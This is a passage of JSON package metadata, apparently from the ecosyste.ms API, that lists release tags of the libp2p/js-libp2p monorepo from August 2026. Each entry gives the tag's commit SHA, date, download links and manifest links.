v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.21/manifests"},{"name":"webrtc-v6.0.31","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webrtc-v6.0.31","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webrtc-v6.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webrtc-v6.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.31/manifests"},{"name":"utils-v7.4.1","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/utils-v7.4.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/utils-v7.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@utils-v7.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.4.1/manifests"},{"name":"upnp-nat-v4.0.28","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/upnp-nat-v4.0.28","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/upnp-nat-v4.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@upnp-nat-v4.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.28/manifests"},{"name":"transport-interop-libp2p-main-v1.0.39","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.39","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.39","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.39","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.39","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.39/manifests"},{"name":"tls-v3.1.10","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tls-v3.1.10","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tls-v3.1.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tls-v3.1.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.1.10/manifests"},{"name":"tcp-v11.0.28","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tcp-v11.0.28","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tcp-v11.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tcp-v11.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.28/manifests"},{"name":"prometheus-metrics-v5.0.29","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/prometheus-metrics-v5.0.29","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/prometheus-metrics-v5.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@prometheus-metrics-v5.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.29/manifests"},{"name":"pnet-v3.0.29","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/pnet-v3.0.29","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/pnet-v3.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@pnet-v3.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.29/manifests"},{"name":"plaintext-v3.0.28","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/plaintext-v3.0.28","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/plaintext-v3.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@plaintext-v3.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/plaintext-v3.0.28/manifests"},{"name":"ping-v3.1.13","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/ping-v3.1.13","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/ping-v3.1.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@ping-v3.1.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/ping-v3.1.13/manifests"},{"name":"perf-v5.1.13","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/perf-v5.1.13","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/perf-v5.1.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@perf-v5.1.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/perf-v5.1.13/manifests"},{"name":"peer-store-v12.0.28","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-store-v12.0.28","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-store-v12.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-store-v12.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-store-v12.0.28/manifests"},{"name":"peer-collections-v7.0.28","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/peer-collections-v7.0.28","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/peer-collections-v7.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@peer-collections-v7.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.28/manifests"},{"name":"opentelemetry-metrics-v2.0.29","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/opentelemetry-metrics-v2.0.29","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/opentelemetry-metrics-v2.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@opentelemetry-metrics-v2.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.29/manifests"},{"name":"multistream-select-v7.0.28","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/multistream-select-v7.0.28","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/multistream-select-v7.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@multistream-select-v7.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.28/manifests"},{"name":"mplex-v12.0.31","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mplex-v12.0.31","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mplex-v12.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mplex-v12.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.31/manifests"},{"name":"memory-v2.0.28","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/memory-v2.0.28","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/memory-v2.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@memory-v2.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.28/manifests"},{"name":"mdns-v12.0.31","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mdns-v12.0.31","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mdns-v12.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mdns-v12.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.31/manifests"},{"name":"libp2p-v3.3.10","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/libp2p-v3.3.10","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/libp2p-v3.3.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@libp2p-v3.3.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.3.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.3.10/manifests"},{"name":"kad-dht-v16.4.5","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/kad-dht-v16.4.5","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/kad-dht-v16.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@kad-dht-v16.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.4.5/manifests"},{"name":"interop-v14.0.38","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.38","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.38","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.38","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.38","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.38/manifests"},{"name":"interface-internal-v3.1.13","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-internal-v3.1.13","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-internal-v3.1.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-internal-v3.1.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.1.13/manifests"},{"name":"interface-compliance-tests-v7.0.31","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-compliance-tests-v7.0.31","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-compliance-tests-v7.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-compliance-tests-v7.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.31/manifests"},{"name":"integration-tests-v1.2.22","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.22","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.2.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.2.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.2.22/manifests"},{"name":"identify-v4.1.14","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/identify-v4.1.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/identify-v4.1.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@identify-v4.1.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.1.14/manifests"},{"name":"gossipsub-v17.1.1","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/gossipsub-v17.1.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v17.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@gossipsub-v17.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v17.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v17.1.1/manifests"},{"name":"floodsub-v11.0.30","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/floodsub-v11.0.30","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/floodsub-v11.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@floodsub-v11.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.30/manifests"},{"name":"fetch-v4.1.13","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/fetch-v4.1.13","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/fetch-v4.1.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@fetch-v4.1.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.1.13/manifests"},{"name":"echo-v3.1.13","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/echo-v3.1.13","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/echo-v3.1.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@echo-v3.1.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.1.13/manifests"},{"name":"dcutr-v3.0.28","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/dcutr-v3.0.28","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/dcutr-v3.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@dcutr-v3.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.28/manifests"},{"name":"daemon-v6.0.38","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.38","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.38","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.38","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.38","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.38/manifests"},{"name":"daemon-server-v9.0.38","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.38","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.38","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.38","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.38","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.38/manifests"},{"name":"daemon-client-v10.0.38","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.38","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.38","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.38","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.38","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.38/manifests"},{"name":"circuit-relay-v2-v4.2.13","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/circuit-relay-v2-v4.2.13","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/circuit-relay-v2-v4.2.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@circuit-relay-v2-v4.2.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.2.13/manifests"},{"name":"bootstrap-v12.0.31","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/bootstrap-v12.0.31","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/bootstrap-v12.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@bootstrap-v12.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.31/manifests"},{"name":"autonat-v3.0.28","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v3.0.28","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v3.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v3.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.28/manifests"},{"name":"autonat-v2-v2.1.4","sha":"265f57f0d9b5270bb3b7f85dd44164eb94af018f","kind":"commit","published_at":"2026-08-31T06:42:22.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v2-v2.1.4","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v2-v2.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v2-v2.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.1.4/manifests"},{"name":"webtransport-v6.0.37","sha":"822e215c9591237bfef1fe0f6fda627b054f3a2e","kind":"commit","published_at":"2026-08-27T23:31:39.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.37","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.37","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.37","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.37/manifests"},{"name":"transport-interop-libp2p-main-v1.0.38","sha":"822e215c9591237bfef1fe0f6fda627b054f3a2e","kind":"commit","published_at":"2026-08-27T23:31:39.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.38","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.38","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.38","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.38","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.38/manifests"},{"name":"interop-v14.0.37","sha":"822e215c9591237bfef1fe0f6fda627b054f3a2e","kind":"commit","published_at":"2026-08-27T23:31:39.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.37","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.37","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.37","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.37","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.37/manifests"},{"name":"integration-tests-v1.2.21","sha":"822e215c9591237bfef1fe0f6fda627b054f3a2e","kind":"commit","published_at":"2026-08-27T23:31:39.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.2.21","html_url":